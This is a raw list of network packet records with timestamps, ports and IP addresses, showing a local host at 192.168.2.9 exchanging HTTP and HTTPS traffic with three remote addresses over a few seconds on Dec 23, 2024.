Dec 23, 2024 17:16:28.660202980 CET	80	49714	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:28.660274982 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:28.660306931 CET	49714	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:28.660474062 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:28.780098915 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:28.879782915 CET	443	49721	172.67.157.254	192.168.2.9
Dec 23, 2024 17:16:28.879970074 CET	49721	443	192.168.2.9	172.67.157.254
Dec 23, 2024 17:16:28.882122993 CET	49721	443	192.168.2.9	172.67.157.254
Dec 23, 2024 17:16:28.882137060 CET	443	49721	172.67.157.254	192.168.2.9
Dec 23, 2024 17:16:28.882396936 CET	443	49721	172.67.157.254	192.168.2.9
Dec 23, 2024 17:16:28.883773088 CET	49721	443	192.168.2.9	172.67.157.254
Dec 23, 2024 17:16:28.883795023 CET	49721	443	192.168.2.9	172.67.157.254
Dec 23, 2024 17:16:28.883842945 CET	443	49721	172.67.157.254	192.168.2.9
Dec 23, 2024 17:16:29.088033915 CET	443	49722	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:29.088146925 CET	49722	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:29.090135098 CET	49722	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:29.090159893 CET	443	49722	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:29.090478897 CET	443	49722	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:29.092119932 CET	49722	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:29.092210054 CET	49722	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:29.092221022 CET	443	49722	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:29.636425972 CET	443	49721	172.67.157.254	192.168.2.9
Dec 23, 2024 17:16:29.636543989 CET	443	49721	172.67.157.254	192.168.2.9
Dec 23, 2024 17:16:29.636607885 CET	49721	443	192.168.2.9	172.67.157.254
Dec 23, 2024 17:16:29.636811972 CET	49721	443	192.168.2.9	172.67.157.254
Dec 23, 2024 17:16:29.636811972 CET	49721	443	192.168.2.9	172.67.157.254
Dec 23, 2024 17:16:29.636836052 CET	443	49721	172.67.157.254	192.168.2.9
Dec 23, 2024 17:16:29.636848927 CET	443	49721	172.67.157.254	192.168.2.9
Dec 23, 2024 17:16:29.668818951 CET	49724	443	192.168.2.9	172.67.157.254
Dec 23, 2024 17:16:29.668898106 CET	443	49724	172.67.157.254	192.168.2.9
Dec 23, 2024 17:16:29.668968916 CET	49724	443	192.168.2.9	172.67.157.254
Dec 23, 2024 17:16:29.669332027 CET	49724	443	192.168.2.9	172.67.157.254
Dec 23, 2024 17:16:29.669348001 CET	443	49724	172.67.157.254	192.168.2.9
Dec 23, 2024 17:16:29.908365965 CET	443	49722	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:29.908469915 CET	443	49722	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:29.908633947 CET	49722	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:29.919504881 CET	49724	443	192.168.2.9	172.67.157.254
Dec 23, 2024 17:16:29.996191978 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:29.998215914 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:29.999651909 CET	49722	443	192.168.2.9	172.67.209.202
Dec 23, 2024 17:16:29.999680996 CET	443	49722	172.67.209.202	192.168.2.9
Dec 23, 2024 17:16:30.001889944 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.121611118 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.439563036 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.439587116 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.439600945 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.439640999 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.439665079 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.439668894 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.439682961 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.439697027 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.439714909 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.439714909 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.439743042 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.439743042 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.439904928 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.439915895 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.439929008 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.439937115 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.439949036 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.439964056 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.448009014 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.448096037 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.559691906 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.559823990 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.635802031 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.635835886 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.635900974 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.635942936 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.639854908 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.639899969 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.639925957 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.640703917 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.648066044 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.648122072 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.648161888 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.648190022 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.656338930 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.656382084 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.656438112 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.656462908 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.664369106 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.664428949 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.664432049 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.664464951 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.672750950 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.672811985 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.672862053 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.672909021 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.680682898 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.680769920 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.680773973 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.680804968 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.688884020 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.688915968 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.688985109 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.689471006 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.697020054 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.697114944 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.697123051 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.697169065 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.704693079 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.704750061 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.704787016 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.704833984 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.712364912 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.712425947 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.712433100 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.712476969 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.720071077 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.720143080 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.955745935 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.955809116 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.969558001 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.969573021 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.969583988 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:30.969636917 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:30.969636917 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.075354099 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.075375080 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.075385094 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.075397968 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.075408936 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.075409889 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.075416088 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.075433969 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.075447083 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.075457096 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.075489044 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.075494051 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.075501919 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.075512886 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.075522900 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.075526953 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.075548887 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.075571060 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.075589895 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.075591087 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.075602055 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.075608969 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.075618029 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.075623035 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.075639009 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.075655937 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.075823069 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.075858116 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.076457977 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.076493025 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.076678038 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.076689959 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.076711893 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.076729059 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.076756001 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.076769114 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.076793909 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.077356100 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.077374935 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.077394962 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.077419043 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.077564955 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.077601910 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.077627897 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.077661991 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.077797890 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.077811956 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.077821970 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.077832937 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.077836990 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.077848911 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.077848911 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.077862024 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.077869892 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.077874899 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.077888012 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.077896118 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.077913046 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.077939034 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.078641891 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.078655005 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.078680992 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.078707933 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.078860044 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.078872919 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.078898907 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.078915119 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.083045959 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.083120108 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.083167076 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.083214998 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.087759018 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.087805986 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.087810993 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.087846994 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.092659950 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.092726946 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.092829943 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.092873096 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.097449064 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.097520113 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.097557068 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.097594976 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.102297068 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.102343082 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.102591038 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.102631092 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.197467089 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.197509050 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.197567940 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.199724913 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.199749947 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.199769020 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.199769020 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.199800014 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.204504967 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.204534054 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.204574108 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.204586029 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.209438086 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.209469080 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.209496975 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.209525108 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.214241982 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.214263916 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.214289904 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.214307070 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.218489885 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.218545914 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.218584061 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.218625069 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.222460032 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.222516060 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.222575903 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.222618103 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.226421118 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.226471901 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.226515055 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.226557016 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.230484962 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.230529070 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.230576038 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.230618000 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.234549999 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.234572887 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.234601974 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.234616995 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.238500118 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.238550901 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.238600016 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.238643885 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.242491961 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.242528915 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.242549896 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.242567062 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.246509075 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.246572018 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.246592045 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.246637106 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.250473022 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.250524044 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.250593901 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.250639915 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.254458904 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.254504919 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.254715919 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.254757881 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.258460999 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.258507967 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.258550882 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.258590937 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.262415886 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.262466908 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.262507915 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.262548923 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.266475916 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.266582012 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.266587019 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.266622066 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.270384073 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.270427942 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.270477057 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.270514965 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.274291039 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.274337053 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.274394035 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.274434090 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.278354883 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.278400898 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.278449059 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.278485060 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.282411098 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.282463074 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.282495022 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.282535076 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.286310911 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.286375046 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.286392927 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.286437035 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.290357113 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.290401936 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.290538073 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.290582895 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.294353962 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.294377089 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.294403076 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.294423103 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.298258066 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.298305988 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.298420906 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.298463106 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.302232981 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.302301884 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.302346945 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.302386045 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.306257010 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.306277990 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.306312084 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.306348085 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.310204983 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.310250998 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.310296059 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.310357094 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.314191103 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.314246893 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.314333916 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.314372063 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.318173885 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.318212032 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.318219900 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.318259001 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.322140932 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.322189093 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.322258949 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.322294950 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.326105118 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.326159000 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.326179981 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.326199055 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.330106020 CET	80	49723	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:31.330208063 CET	49723	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:31.330311060 CET	80	49723	185.215.113.16	192.168.2.9
